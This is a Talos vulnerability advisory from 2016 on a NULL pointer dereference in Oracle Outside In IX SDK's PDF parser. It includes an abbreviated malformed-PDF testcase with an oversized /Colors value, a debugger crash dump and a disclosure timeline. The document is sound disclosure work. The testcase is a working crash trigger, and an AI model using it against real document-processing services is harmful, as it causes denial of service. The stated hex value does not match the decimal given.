Talos Vulnerability Report


Oracle OIT IX SDK libvs_pdf FlateDecode Colors Denial of Service Vulnerabiity

July 19, 2016

Report ID



A null pointer dereference leading to process crash can occur while parsing a malformed PDF file.

Tested Versions

Oracle Outside In IX sdk 8.5.1

Product URLs



While parsing a PDF file which contains a /FlateDecode encoded stream, with a set /Predictor to a value other than 1, a malformed value for /Colors causes a NULL pointer dereference in libsc_ut.so library while de-initializing the decoder.

The supplied testcase can be abbreviated to the following:

	<</Colors 268435456
	  /Predictor 2
/Length 54
/Size 60
/Type/XRef/W[1 2 1]>>

The invalid /Colors value , 0x100000000 in this case, causes a NULL pointer to be dereferenced during the memory read instruction.

The bug can be triggered by using the ixsample sample application supplied with the SDK.

Program state at the time of the crash:

0xb7b8eb61 in IOPredictorDeInit () from /home/ea/oit_pdf/sdk/demo/libsc_ut.so
eax            0x0	0
ecx            0x80b8140	134971712
edx            0x7	7
ebx            0xb7d3cb40	-1210856640
esp            0xbfffc8d0	0xbfffc8d0
ebp            0x80bc1f8	0x80bc1f8
esi            0x80b8140	134971712
edi            0x0	0
eip            0xb7b8eb61	0xb7b8eb61 <IOPredictorDeInit+45>
eflags         0x10246	[ PF ZF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
#0  0xb7b8eb61 in IOPredictorDeInit () from /home/ea/oit_pdf/sdk/demo/libsc_ut.so
#1  0xb7bd98bf in IOFlateDeInit () from /home/ea/oit_pdf/sdk/demo/libsc_ut.so
#2  0xb7bd9b8d in IOFlateInit () from /home/ea/oit_pdf/sdk/demo/libsc_ut.so
#3  0xb7b8a14e in IOOpen () from /home/ea/oit_pdf/sdk/demo/libsc_ut.so
#4  0xb74d8181 in ?? () from /home/ea/oit_pdf/sdk/demo/libvs_pdf.so
#5  0xb74ec2cd in ?? () from /home/ea/oit_pdf/sdk/demo/libvs_pdf.so
#6  0xb74ecee6 in VwStreamOpen () from /home/ea/oit_pdf/sdk/demo/libvs_pdf.so
#7  0xb7d6ee23 in FAOpenEx () from /home/ea/oit_pdf/sdk/demo/libsc_fa.so
#8  0xb7fc29bc in DAGetHFilter () from /home/ea/oit_pdf/sdk/demo/libsc_da.so
#9  0xb7faac7b in EXOpenExport () from /home/ea/oit_pdf/sdk/demo/libsc_ex.so
#10 0x08048a5b in main ()


Discovered by Aleksandar Nikolic of Cisco Talos.


2016-03-27 - Discovery
2016-04-12 - Vendor Contact
2016-07-19 – Public Disclosure